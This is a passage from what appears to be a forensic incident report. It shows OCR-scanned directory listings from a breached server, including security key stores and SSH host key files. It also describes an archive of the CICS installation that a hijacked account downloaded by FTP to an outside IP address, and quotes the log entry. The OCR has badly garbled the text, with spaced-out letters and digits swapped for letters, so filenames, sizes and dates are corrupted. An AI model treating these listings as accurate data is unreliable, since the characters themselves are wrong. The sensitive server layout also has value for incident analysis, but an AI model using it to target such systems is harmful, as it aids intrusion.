a / e t c / dc e / e t c / z o n e i n f o / Jama i c a  s ymb o l i c  l i n k t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / Jama i c a  

a / e t c / d c e / e t c / z o n e i n f o / Japan s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / Japan 

a / e t c / dce / e t c / z on e i n f o / L i b y a  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / d c e / e t c / z on e i n f o / L i b y a  

a / e t c / dce / e t c / z on e i n f o / Me x i c o  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z o n e i n f o /Mex i c o  

a / e t c / dce / e t c / z on e i n f o / ME T  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z o n e i n f o / ME T  

a / e t c / d c e / e t c / z o n e i n f o / Nava j o s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z o n e i n fo / N ava j o 

a / e t c / dce / e t c / z on e i n f o / N Z  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z on e i n fo / N Z  

a / e t c / d c e / e t c / z o n e i n f o / P o l a n d  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o n e i n f o / P o l an d  

a / e t c / dce / e t c / z on e i n f o / PRC s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lp p / dce / e t c / z o n e i n f o / PRC 

a / e t c / dce / e t c / z on e i n f o / ROC s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z o n e i n f o / ROC 

a / e t c / dc e / e t c / z on e i n f o / ROK s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z o n e i n f o / ROK 
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a / e t c / dce / e t c / z o n e i n f o / S i ng ap o r e  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / S i ng ap o r e  

a / e t c / dce / e t c / z o n e i n f o / S y s t emV s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lp p / dc e / e t c / z on e i n f o / S y s t emV 

a / e t c / dce / e t c / z on e i n f o / Tu r ke y  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / d c e / e t c / z o ne i n fo / T u r ke y  
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a / e t c / dce / e t c / z on e i n f o / Un ive r s a l  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z on e i n f o / Un ive r s a l  

a / e t c / dc e / e t c / z o n e i n f o / UC T  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z o n e i n f o / UC T  

a / e t c / dc e / e t c / z o n e i n f o / U S s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / e t c / z on e i n f o / U S  

a / e t c / dce / e t c / z o n e i n f o / UT C  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lp p / dce / e t c / z o n e i n f o / UT C  

a / e t c / dc e / e t c / z o n e i n f o / W - S U  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o ne i n f o / W - S U  

a / e t c / d ce / e t c / z on e i n f o / WE T  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / e t c / z o n e i n f o / WE T  

a / e t c / d ce / e t c / z on e i n f o / Z u l u  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / e t c / z o n e i n fo / Z u l u  

a / e t c / dce / e t c / C a c he i n fo s ymbo l i c  l i n k  t o  . .  / . .  / . .  / e t c / df s / e t c / C a c h e i n f o  

a / e t c / dc e / e t c / E X P TVAR s ymbo l i c  l i n k  t o  . .  / . .  / . .  / u s r / lpp / dc e / e t c / EXPTVAR 

a / e t c / dce / e t c / IMP TVAR s ymb o l i c  l i n k t o  . .  / . .  / . .  / u s r / lpp / dc e / e t c / IMPTVAR 

a / e t c / dc e / h ome / O b l o c k s  

a / e t c / dc e / h ome / au d i t d /  O b l o c k s 

a / e t c / dce / h ome / au di t d / e nvar s ymb o l i c  l i n k  t o  . .  / . .  / . .  1 . .  / u s r / l pp / dce / h ome / au d i t d / e nva r 

a / e t c / dc e / h ome / cd s a dv /  O b l o c k s 

a / e t c / dce / h ome / cd s a dv / e nv a r  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dce / h ome / c ds adv / enva r 

a / e t c / dce / h ome / c d s c l e r k /  O b l o c k s 

a / e t c / dc e / h ome / cd s c l e r k / e nv a r  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / h ome / c ds c l e r k / envar 

a / e t c / dce / h ome / c d s d /  O b l o c ks 

a / e t c / dce / h ome / cd s d / e nv a r  s ymbo l i c  l i n k  t o  . .  / . .  1 . .  / . .  / u s r / l pp / dce / h ome / c d s d / e nva r 
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a / e t c / d ce / h ome / dc e d /  O b l o c ks 

a / e t c / dce / h ome / dc e d / e nv a r  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dc e / h ome / dc e d / enva r 

a / e t c / dce / h ome / dc e ke r n / O b l o c k s  

a / e t c / dce / h ome / dc e ke r n / e nva r s ymb o l i c  l i n k t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / home / dc e k e r n / e nva r 

a / e t c / dce / h ome / dt s  nu l l_p r o v i de r /  O b l o c k s  

a / e t c / d c e / h ome / dt s_nu l l_p r ovi de r / e nva r s ymb o l i c  l i n k t o  

. .  / . .  / . .  / . .  / u s r / lpp / dc e / home / d t s  n u l l_p r ovi de r / enva r 

a / e t c / dc e / home / dt s d /  O b l o c k s 

a / e t c / dc e / h ome / dt s d / e nv a r  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / home / dt s d / enva r 

a / e t c / d c e / h ome / gd a d /  O b l o c k s 

a / e t c / dce / h ome / gdad / e nv a r  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / h ome / gdad/ e nva r 

a / e t c / dc e / h ome / pwdmgmt / O b l o c k s  

a / e t c / dce / h ome /pwdmgmt / e nva r s ymb o l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / lpp / dc e / home / pwdmgmt / e nva r 

a / e t c / d c e / h ome / s e cd /  O b l o c k s 

a / e t c / dce / h ome / s e cd / e nv a r  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / . .  / u s r / l pp / dce / home / s e c d / e nva r 

a / e t c / dce / s e c u r i t y /  O b l o c k s  

a / e t c / dc e / s v c / O b l o c ks 

a / e t c / dc e / t c l / O b l o c k s 

a / e t c / dc e / t c l / i n i t . t c l  s ymb o l i c  l i n k  t o  . .  / . .  / . .  / u s r / l pp / dc e / t c l / i n i t . t c l  
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a / e t c / dce / t c l / p a r r a y . t c l  s ymb o l i c  l i n k  t o  . .  / . .  1 . .  / u s r / l pp / dce / t c l / p a r r a y . t c l  

a / e t c / dce / t c l / t c l i n de x s ymb o l i c  l i n k  t o  . .  / . .  / . .  / u s r / l pp / dce / t c l / t c l i n de x  

a / e t c / dce / va r /  O b l o c k s 

a / e t c / dce / va r / a dm /  O b l o c k s  

a / e t c / dce / va r / a dm / d i r e c t o r y /  O b l o c ks 

a / e t c / d ce / v a r / a dm / d i r e c t o r y / c d s / O b l o c k s  

a / e t c / d ce / v a r / a dm / d i r e c t o ry / cds / c ds c l e r k /  O b l o c k s 

a / e t c / dce / va r / a dm / rp c /  O b l o c k s 

a / e t c / d ce / v a r / a dm / t ime / O b l o c k s  

a / e t c / dce / va r / aud i t /  O b l o c k s  

a / e t c / dce / v a r / audi t / a dm / O b l o c ks 

a / e t c / dc e / v a r / aud i t / c l i e n t / O b l o c k s  

a / e t c / dce / va r / d c e d /  O b l o c k s  

a / e t c / dc e / va r / d c e d / s e rv e r s /  O b l o c k s  

a / e t c / dc e / v a r / d f s  s ymbo l i c  l i n k  t o  . .  / . .  / . .  / e t c / d f s / va r / df s  

a / e t c / dc e / va r / d i r e c t o r y /  O b l o c k s 

a / e t c / dce / va r / d i r e c t o r y / c ds / O b l o c k s  

a / e t c / dc e / va r / d i r e c t o r y / c d s / a dm /  O b l o c k s  

a / e t c / dce / v a r / k rb S /  O b l o c k s  
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a / e t c / dce / v a r / s e c u r i t y /  O b l o c k s  

a / e t c / dc e / v a r / s e c u r i t y / adm/ O b l o c k s  

a / e t c / dc e / v a r / s e c u r i t y / c r e d s / O b l o c k s  

a / e t c / dce / v a r / s e c u r i t y / p r e a u t h /  O b l o c k s 

a / e t c / d f s / O b l o c ks 

a / e t c / d f s / b i n /  O b l o c k s 

a / e t c / d f s / e t c /  O b l o c k s 

a / e t c / d f s / h ome / O b l o c k s  

a / e t c / d f s / h ome / ba k s e rve r /  O b l o c k s  

a / e t c / d f s / h ome / b o s e rve r /  O b l o c k s 

a / e t c / d f s / h ome / b u t c O l /  O b l o c ks 

a / e t c / d f s / h ome / b u t c 0 2 / O b l o c ks 

a / e t c / d f s / h ome / b u t c 0 3 /  O b l o c k s 

a / e t c / d f s / h ome / b u t c 0 4 /  O b l o c k s 

a / e t c / d f s / h ome / bu t c 0 5 /  O b l o c k s  

a / e t c / d f s / h ome / b u t c 0 6 /  O b l o c k s 

a / e t c / d f s / h ome / b u t c 0 7 /  O b l o c k s 

a / e t c / d f s / h ome / b u t c 0 8 /  O b l o c k s  

a / e t c / d f s / h ome / daemon c t / O b l o c k s 
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a / e t c / d f s / h ome / d f s cm/ O b l o c k s  

a / e t c / d f s / h ome / d f s c n t l /  O b l o c k s  

a / e t c / d f s / h ome / d f s e xp o r t /  O b l o c k s  

a / e t c / d f s / h ome / df s ke r n /  O b l o c k s  

a / e t c / d f s / h ome / f l s e rv e r / O b l o c k s  

a / e t c / d f s / h ome / f t s e rve r /  O b l o c k s 

a / e t c / d f s / h ome / gr owaggr / O b l o c k s  

a / e t c / d f s / h ome / n ewagg r /  O b l o c k s  

a / e t c / d f s / h ome / rep s e rve r /  O b l o c k s  

a / e t c / d f s / h ome / s a l vage / O b l o c k s  

a / e t c / d f s / h ome / up c l i e n t / O b l o c k s  

a / e t c / d f s / h ome / up s e rve r /  O b l o c ks 

a / e t c / d f s / l ib /  O b l o c k s  

a / e t c / d f s / l ib / n l s /  O b l o c k s  

a / e t c / d f s / l ib / n l s /ms g /  O b l o c k s 

a / e t c / d f s / s y s c a l l /  O b l o c k s  

a / e t c / d f s / v a r / O b l o c k s  

a / e t c / d f s / v a r / d f s / O b l o c k s 

a / e t c / d f s / v a r / d f s / a dm / O b l o c k s 
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a / e t c / d f s / v a r / d f s / b a c kup / O b l o c k s  

a / e t c / f tp . d a t a  1 3  b l o c k s  

a / e t c / f tp . e nv l b l o c k  

a / e t c / h o s t s  l b l o c k  

a / e t c / i ne t d . c o n f  4 b l o c k s 

a / e t c / i ne t d . p i d  l b l o c k  

a / e t c / i n i t . op t i o n s  6 b l o c k s  

a / e t c / i o epdc f s ymbo l i c  l i n k  t o  . .  / e t c / df s / e t c / i o ep dc f 

a / e t c / l dap / O b l o c k s  

a / e t c / l og 1 2  b l o c k s 

a / e t c / omp r o ut e . c o n f  S b l o c k s  

a / e t c / omp r o u t e . c o n f . n e w  S b l o c k s  

a / e t c / omp r o u t e . c o n f . o l d  S b l o c k s  

a / e t c / omp r o u t e . c o n f . o rg 9 b l o c k s  

a / e t c / p r o f i l e  2 3  b l o c k s 

a / e t c / p r o f i l e . d 1 2 0 3 0 2 2 2  b l o c k s  

a / e t c / p r o f i l e . o l d . 0 7 0 9 1 S  2 2  b l o c k s  

a / e t c / p r o f i l e . s o e 0 8 a  2 1  b l o c k s  

a / e t c / p r o t o c o l  2 b l o c k s 
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a / e t c / r e  5 b l o c k s 

a / e t c / r c . o l d  4 b l o c k s  

a / e t c / r e c ove r /  O b l o c k s 

a / e t c / r e c ove r / DAF 1 5 5 9 /  O b l o c ks 

a / e t c / r e c ove r / DAF 1 5 5 9 / V I n e a dDgAgAA l b l o c k  

a / e t c / r e c ove r / DAF 1 5 5 9 / V I t e a dDgAgAA 2 b l o c k s  

a / e t c / r o h a /  O b l o c k s  

a / e t c / s e c u r i t y /  O b l o c k s  

a / e t c / s e c u r i t y / c s c . c r t  3 b l o c k s 

a / e t c / s e c u r i t y / e db . c r t  2 b l o c k s 

a / e t c / s e c u r i t y / f t p k r . a rm 2 b l o c k s 

a / e t c / s e c u r i t y / f t p k r . c r t  3 b l o c ks 

a / e t c / s e c u r i t y / f t p k r . kdb 7 9  b l o c k s  

a / e t c / s e c u r i t y / f t p k r . rdb l b l o c k  

a / e t c / s e c u r i t y / f t p k r . s t h  l b l o c k  

a / e t c / s e c u r i t y / f t p k r l . kdb 4 9  b l o c ks 

a / e t c / s e c u r i t y / f t p k r l . r db l b l o c k  

Repan 

a / e t c / s e c u r i t y / fwc o n f i g . map s ymb o l i c  l i n k  t o  . .  / . .  / u s r / l pp / fw / e t c / s e cu r i t y / fwc o n f i g . map 

a / e t c / s e c u r i t y / ghp l 9 9 l . exp 3 b l o c k s  
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a / e t c / s e c u r i t y / i t s . i n f o da t a . s e am . s e . c r t  3 b l o c k s 

a / e t c / s e c u r i t y / s e b  4 b l o c k s  

a / e t c / s e c u r i t y / s eb - l s p 0 0 2 5b 4 b l o c k s  

a / e t c / s e c u r i t y / s eb - t e s t - r o o t  3 b l o c k s 

a / e t c / s e c u r i t y / s eb - CA- l sp 0 0 2 5  4 b l o c k s  

a / e t c / s e c u r i t y / s eb s e rv 3 b l o c k s 

a / e t c / s e c u r i t y / s e b t e s t  4 b l o c k s 

a / e t c / s e c u r i t y / s rv . c a l  2 b l o c k s 

a / e t c / s e c u r i t y / t n 2 3 7 0 6 . a rm 3 b l o c k s 

a / e t c / s e c u r i t y / t n 3 2 7 0 . k db 1 2 8  b l o c k s  

a / e t c / s e c u r i t y / t n 3 2 7 0 . kdb . o l d  1 2 8  b l o c ks 

a / e t c / s e cu r i t y / t n 3 2 7 0 . r db . o l d  l b l o c k  

a / e t c / s e c u r i t y / t n 3 2 7 0 . s th l b l o c k  

a / e t c / s e c u r i t y / t n 3 2 7 0 . s th . o l d  l b l o c k  

a / e t c / s e c u r i t y / t n 3 2 7 0 c r t . arm 3 b l o c k s 

a / e t c / s e c u r i t y / t n 3 2 7 0 ke y . b kup . p l 2  6 b l o c ks 

a / e t c / s e c u r i t y / t n 3 2 7 0 re q . a rm 2 b l o c k s  

a / e t c / s e cu r i t y / t n 3 2 7 0 l . a rm 2 b l o c k s 

a / e t c / s e c u r i t y / tn 3 2 7 0 l . kdb 1 1 8  b l o c k s  
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a / e t c / s e c u r i t y / tn 3 2 7 0 l . rdb l b l o c k  

a / e t c / s e c u r i t y / t n 3 2 7 0 l . s t h  l b l o c k  

a / e t c / s e cu r i t y / t n 3 2 7 0 2 . kdb 4 9  b l o c k s  

a / e t c / s e c u r i t y / tn 3 2 7 0 2 . rdb 2 b l o c k s 

a / e t c / s e c u r i t y / t n 3 2 7 0 3 . a rrn 2 b l o c k s 

a / e t c / s e c u r i t y / t n 3 2 7 0 3 . c a l  3 b l o c ks 

a / e t c / s e c u r i t y / t n 3 2 7 0 3 . c r t  3 b l o c ks 

a / e t c / s e c u r i t y / t n 3 2 7 0 3 . kdb 6 9  b l o c k s  

a / e t c / s e c u r i t y / t n 3 2 7 0 3 . rdb 6 b l o c k s 

a / e t c / s e c u r i t y / t n 3 2 7 0 3 . s t h  l b l o c k  

a / e t c / s e c u r i t y / t n 3 2 7 0 3 r e q . a rrn 2 b l o c k s  

a / e t c / s e c u r i t y / t n 3 2 7 0 4 . a rrn 2 b l o c k s 

a / e t c / s e c u r i t y / t n 3 2 7 0 4 . ca l  3 b l o c ks 

a / e t c / s e c u r i t y / t n 3 2 7 0 4 . kdb 8 4  b l o c k s  

a / e t c / s e c u r i t y / t n 3 2 7 0 4 . rdb l b l o c k  

a / e t c / s e c u r i t y / t n 3 2 7 0 4 . s t h  l b l o c k  

a / e t c / s e c u r i t y / t n 3 2 7 0 5 . a rrn 2 b l o c ks 

a / e t c / s e cu r i t y / t n 3 2 7 0 5 . ca l  3 b l o c k s 

a / e t c / s e c u r i t y / t n 3 2 7 0 5 . exp 3 b l o c ks 
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a / e t c / s e c u r i t y / t n 3 2 7 0 5 . kdb 1 0 8  b l o c k s 

a / e t c / s e c u r i t y / t n 3 2 7 0 5 . rdb l b l o c k  

a / e t c / s e c u r i t y / t n 3 2 7 0 5 . s th l b l o c k  

a / e t c / s e c u r i t y / t n 3 2 7 0 6 . c r t  3 b l o c k s 

a / e t c / s e c u r i t y / t n 3 2 7 0 6 . exp 3 b l o c k s 

a / e t c / s e c u r i t y / tn 3 2 7 0 6 . kdb 2 1 5  b l o c k s 

a / e t c / s e c u r i t y / t n 3 2 7 0 6 . p r im 4 b l o c k s  

a / e t c / s e c u r i t y / t n 3 2 7 0 6 . rdb l b l o c k  

a / e t c / s e c u r i t y / tn 3 2 7 0 6 . s e c  4 b l o c ks 

a / e t c / s e c u r i t y / tn 3 2 7 0 6 . s t h  l b l o c k  

a / e t c / s e c u r i t y / t n 3 2 7 0 6 r e q . a rm 3 b l o c k s  

a / e t c / s e c u r i t y / u s e r l . c a l  2 b l o c k s 

a / e t c / s e c u r i t y / NB PO . c rt 3 b l o c k s  

a / e t c / s e c u r i t y / 1 3 b l o c k s 

a / e t c / s e rvi ce s 1 0  b l o c k s  

a / e t c / s s h /  O b l o c k s 

a / e t c / s s h / b a n n e r l b l o c k  

a / e t c / s s h /modu l i 1 7 2  b l o c ks 

a / e t c / s s h / n ohup . o ut l b l o c k  
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a / e t c / s s h / s s h c o n f i g  3 b l o c k s 

a / e t c / s s h / s s h h o s t ds a ke y 2 b l o c ks 

a / e t c / s s h / s s h h o s t  ds a ke y . pub 2 b l o c k s  

a / e t c / s s h / s s h h o s t  r s a  ke y 2 b l o c k s 

a / e t c / s s h / s s h h o s t  r s a  ke y . pub l b l o c k  

a / e t c / s s h / s s h_p r n g  crnds 5 b l o c k s  

a / e t c / s s h / s s h_p r n g  crnds . o rg 5 b l o c k s  

a / e t c / s s h / s s h d  5 2 6 4  b l o c k s  

a / e t c / s s h / s s h d . s h l b l o c k  

a / e t c / s s h / s s h d_c o n f i g  6 b l o c k s  

a / e t c / s s h / s s h d_c o n f i g . t e s t  5 b l o c ks 

a / e t c / s s h / s s h d c o n  5 b l o c k s  

a / e t c / s s h / s s h d2 . s h 2 b l o c k s  

a / e t c / s ys l o g . c o n f  6 b l o c k s  

a / e t c / s ys l o g . c o n f . o l d  6 b l o c k s  

a / e t c / s y s l o g . p i d  l b l o c k  

a / e t c / u trnpx 7 b l o c k s  

a / e t c / v e nv . cornrnon . p ro f i l e  5 b l o c k s  

a / e t c / v e n v . ex t r a  l b l o c k  
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a / e t c / x l a t e / O b l o c k s 

a / e t c / x l a t e / C P 8 5 0  2 b l o c k s  

a / e t c / x l a t e / I S 0 6 4 6 2 b l o c k s 

a / e t c / x l a t e / I S 0 8 8 5 9 1  2 b l o c k s 

a / e t c / z o n e i n f o /  O b l o c k s  

a / e t c / T e x t T o o l s /  O b l o c k s 

a / e t c / T e x t T o o l s / N e t Q /  O b l o c k s  

a / e t c / T e x t T o o l s / T e x t S e a r c h /  O b l o c k s  

C o mp r e s s i o n : 6 2 . 2 3 %  
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App endix N :  Content of archive file cics.it.tgz from SYS3 

Report 
Sidan 265 av 57 4 

Th i s  i s  a fi l e l i sti ng from the a rch ive fi l e  ca l l ed  "cics . i t . .tgz" that was found  left on  SYS3.  The fi l e  was down loaded by the hacked user acco u nt N U S  on  the 20th 

of Ma rch 2012 to the dest i nat ion l P  add ress 93 . 186. 170.54. Th i s  ca n be seen i n  the extract from the FTP l ogs fo r SYS3 

2012-03-20;09 .00.00;2012-03-20-

09 .29 .  23 .  750000;<CS>U N KN OWN;SYS3; ;  192 . 16 . 143 . 2 ; 21; ; ;  R ETR.;SEQ; N US; I ;S; F; H ;08. 29. 10;08 .29 .23 ; 21770200;5; ; ; ;  FTPD1;  DAFAS;93 . 186. 170. 54;27722;/ 

t m p/.,/ cics.  it. tgz 

Figure 100 FTP DOWN LOAD of file " cics.it .tgz" by hijacked user account N US 

Th i s  seem to be the C ICS i nsta l l a t ion on  SYS3 .  I n  genera l ,  th i s  i s  standa rd fi l es, but same speci a l  fi les  exists, such a s  fi les deve loped for servi ces re l ated to 

persona l  i nformat ion a nd  servi ces from the tax a uthori ty .  

d rwxrwxr-x O O 1 O Sep 11 2009 /usr/ lpp/ci cstg/ 

d rwxrwxrwx O O 1 O J u  n 16 2009 /usr/lp p/ci cstg/cicstg6 10/ 

d rwxrwxr-x O O 1 O Sep 11 2009 /usr/ lpp/ci cstg/ci cstg720/ 

d rwxr-xr-x O O 20384 O A pr  28 2009 /usr/lp p/ci csts/ 

d rwxrwxr-x O O 507700 O Apr 28 2009 /usr/ l p p/ci csts/a ppl/ 

d rwxrwxr-x O O 507700 O J u  n 15 2009 /usr/l pp/cicsts/cicsts32/ 

d rwxrwxr-x O 4194303 507700 O N ov 18 2008 /usr/lp p/cicsts/ci csts32/dafci cp9/ 

-rwx-w---- O 4 1 94303 507700 580 N ov 18 2008 /usr/l p p/ci csts/ci csts32/dafci cp9/aedit  

d rwxrwxr-x O 4 194303 507700 O N ov 18 2008 /usr/l p p/ci csts/ci csts3 2/dafcicp9/co nfig/ 
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-rwxrwxr-x O 4194303 S07700 2S2 N ov 18 2008 /usr/ l p p/cicsts/c ic sts32/dafcicp9/co nfig/bas i csoa p l l req uester .xml  

-rwxrwxr-x O 4194303 S07700 26S A pr  l 2008 /usr/l pp/ci csts/ci csts32/dafc icp9/config/serviceProvider .xml  

-rwxrwxr-x O 4194303 S07700 289 N ov 18 2008 /usr/ lpp/ci csts/c icsts32/dafcicp9/co nfig/service Req uester .x m l  

-rwxrwxr-x O 4194303 S07700 2 6 S  A p r  l 2008 /usr/l pp/ci csts/ci csts32/dafcicp9/config/spsoa pprovider .xml  

d rwxrwxr-x O 4194303 S07700 O Mar 20 00:20 /usr/l pp/cicsts/ci csts32/dafc icp9/she lf/ 

d rwxr-xr-x O 4194303 S07700 O Mar 20 00:20 /usr/ lpp/ci csts/c icsts3 2/d afc icp9/shelf/ DAFCICP9/ 

d rwxr-xr-x O 4194303 S07700 O Mar 20 00:20 /usr/l pp/ci csts/ci csts32/dafcicp9/shelf/ DAFCICP9/ P I P E L I N E/ 

d rwxr-xr-x O 4194303 S07700 O Mar 20 00:20 /usr/ lpp/ci csts/ci csts32/d afci cp9/s helf/ DAFCICP9/P I P E L I N E/P I RQ11/ 

Report 

-rwxr-xr-x O 4194303 S07700 289 M a r  20 00:20 /usr/ l p p/cicsts/ci csts32/dafc icp9/she lf/DAFCICP9/P I P E L I N E/P I RQ1 1/serviceRequester.xm l 

d rwxrwxr-x O 4194303 S07700 O N ov 18 2008 /usr/l p p/ci csts/c icsts32/dafc icp9/wsb ind/ 

d rwxrwxr-x O 4194303 S07700 O N ov 18 2008 /usr/ l p p/cicsts/c icsts32/dafcicp9/wsb i n d/provider/ 

d rwxrwxr-x O 4194303 S07700 O Ju n 1S 2009 /usr/ lpp/ci csts/ci csts32/dafc icp9/ws b i n d/re q u ester/ 

-rw-r--r-- O 1473 S07700 4208 Oct 14 2009 /usr/ lpp/ci csts/c icsts32/dafcicp9/wsbi nd/req u ester/P N U M .wsbi n d  

d rwxrwxr-x O 4194303 S07700 O Ju n 1S 2009 /usr/ lpp/ci csts/c icsts3 2/d afc i cp9/wsdl/ 

-rwxrwxr-x O 1473 S07700 2 147 J u  n 1S 2009 /usr/ lpp/ci csts/c icsts32/dafcicp9/wsdl/kfm perso n n u m .wsdl 

d rwxrwxr-x O 4194303 S07700 O Aug 28 2008 /usr/ l p p/cicsts/ci csts3 2/dafcict3/ 

-rwx-w---- O 4194303 S07700 S80 Aug 28 2008 /usr/l pp/ci csts/ci csts32/dafci ct3/aedit  

d rwxrwxr-x O 4194303 S07700 O Nov 14 2008 /usr/l p p/cicsts/ci csts3 2/dafci ct3/config/ 

-rwxrwxr-x O 4194303 S07700 2S2 J u n  4 2008 /usr/l pp/ci csts/cicsts3 2/d afcict3/config/bas i csoa p 1 1 req uester .xml  

-rwxrwxr-x O 4194303 S07700 26S F e b  8 2008 /usr/l pp/ci csts/c icsts3 2/dafci ct3/co nfi g/serviceProvi der .xml  

-rwxrwxr-x O 4194303 S07700 289 Ju l  9 2008 /usr/l pp/cicsts/ci csts32/dafcict3/config/serviceReq uester .xml  
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-rwxrwxr-x O 4194303 507700 265 Feb 8 2008 / us r/l pp/ci csts/ci csts32/dafci ct3/config/spsoa pprovi der .xml  

d rwxrwxr-x O 4194303 507700 O Apr 29 2009 /usr/ lpp/ci csts/ci csts3 2/dafcict3/s h elf/ 

d rwxr-xr-x O 4194303 507700 O Apr 27 2009 /usr/l pp/ci csts/c icsts32/dafcict3/shelf/DAFCICT3/ 

d rwxr-xr-x O 4194303 507700 O Mar 20 00:24 /usr/l pp/ci csts/cicsts32/d a fc i ct3/shelf/DAFCICT3/P I P E LI N E/ 

d rwxr-xr-x O 4194303 507700 O Mar 20 00:24 /usr/ lpp/ci csts/c icsts32/dafcict3/shelf/DAFCICT3/P I PEL I N E/ P I RQ11/ 

Repan 

-rwxr-xr-x O 4194303 507700 2 8 9  M a r  20 00:24 /usr/l p p/ci csts/c icsts32/dafc ict3/sh elf/DAFC ICT3/ P I P E L I N E/ P I R Ql l/servi ceR e q u ester.x m l  

d rwxrwxr-x O 4194303 507700 O Apr 28 2009 /usr/l pp/cicsts/c icsts3 2/dafcict3/s he lf/DAFCI CT3/ P I P E L I N E/S P P I P E01/ 

-rwxrwxr-x O 4194303 507700 265 Apr 28 2009 /usr/ l p p/cicsts/ci csts32/dafci ct3/sh elf/DAFCI CT3/ P I P E L I N E/S P P I P E01/serv iceProvi der .xml  

drwxrwxr-x O 4194303 507700 O Ju n 5 2008 /usr/ lpp/ci csts/ci csts32/dafci ct3/ws bi nd/ 

d rwxrwxr-x O 4194303 507700 O Ju n 5 2008 /usr/ lpp/cicsts/cicsts3 2/d afci ct3/wsb i n d/provider/ 

d rwxrwxr-x O 4194303 507700 O Sep 29 2009 /usr/ lpp/ci csts/ci csts3 2/dafci ct3/wsbi n d/re q u est er/ 

-rw-r--r-- O 2973 507700 4208 Oct 7 2009 /usr/ lpp/ci csts/ci csts32/dafc i ct3/ws bi nd/requester/P N U M .wsbi n d  

d rwxrwxr-x O 4194303 507700 O Oct 29 2010 /usr/lpp/ci csts/ci csts32/d a fcict3/wsdl/ 

�rw-r----- O 2973 507700 1830 Oct 29 2010 /usr/l pp/ci csts/cicsts32/dafcict3/wsd l/ebs.wsdl  

-rw-r----- O 2973 507700 1880 Oct 29 2010 /usr/ lpp/ci csts/c icsts32/dafcict3/wsd l/ebs .ws d l 2  

-rw-r----- O 1473 507700 2 147 Ju n 15 2009 /usr/ lpp/ci csts/c icsts32/dafci ct3/wsd l/kfm person n u m  l iteral .txt 

-rw-r----- O 1473 507700 2 189 J u  n 12 2009 / usr/l pp/ci csts/cicsts32/dafcict3/wsd l/kfm person n u m .wsdl  

d rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

507700 O N ov 1 2  2008 /usr/ lpp/ci csts/ci csts32/l i b/ 

507700 16918 Oct 16 2007 /usr/ lpp/ci csts/cicsts32/l i b/dfj a dj r.j a r  

507700 37280 Oct 16 2007 / usr/l pp/ci csts/cicsts32/l i b/dfjcc i .j a r  

507700 246554 O c t  16 2007 /usr/l pp/ci csts/cicsts32/ l i b/dfjcd m n .j a r  
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-rwxr-xr-x O O 507700 199424 Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/l i b/dfjc ics .j a r  

-rwxr-xr-x O O 507700 1 3 6410 Oct 16 2007 /usr/l pp/ci csts/c icsts3 2/ l i b/dfjc icsras .j a r  

-rwxr-xr-x O O 507700 376934 Oct 16 2007 /usr/ l p p/ci csts/cicsts32/l i b/dfjcont.j a r  

-rwxr-xr-x O O 507700 186162 Oct 16 2007 /usr/l pp/ci csts/cicsts32/l i b/dfjcs i .j a r  

-rwxr-xr-x O O 507700 92306 Oct 16 2007 /usr/l pp/ci csts/ci csts32/l i b/dfjej bdd .j a r  

-rwxr-xr-x O O 507700 92302 Oct 16 2007 /usr/l pp/ci csts/c icsts32/l i b/dfjjts.j a r  

-rwxr-xr-x O O 507700 692021 Oct 16 2007 /usr/l pp/ci csts/ci csts32/l i b/dfj n a me. jar  

-rwxr-xr-x O O 507700 184413 Oct 16 2007 /usr/l pp/ci csts/cicsts3 2/l i b/dfjorb. jar  

-rwxr-xr-x O O 507700 8301 Oct 16 2007 /usr/l pp/ci csts/cicsts32/l i b/dfjoutput.j a r  

-rwxr-xr-x O O 507700 17417 Oct 16 2007 / usr/l pp/ci csts/ci csts32/l i b/dfjwrap. jar  

-rwxr-xr-x O O 507700 4333568 Oct 16 2007 /usr/ lpp/ci csts/cicsts3 2/l i b/ l i bcom_i b m_ci c s_se rver_DTC .so 

-rwxr-xr-x O O 507700 4333568 Oct 16 2007 /usr/ lpp/cicsts/ci csts32/l i b/ l i bcom_i b m_ci cs_s erver_DTC_g.so 

-rwxr-xr-x O O 507700 180224 Oct 16 2007 / usr/l pp/ci csts/cicsts32/l i b/ l i bdfh a pjvmt.so 

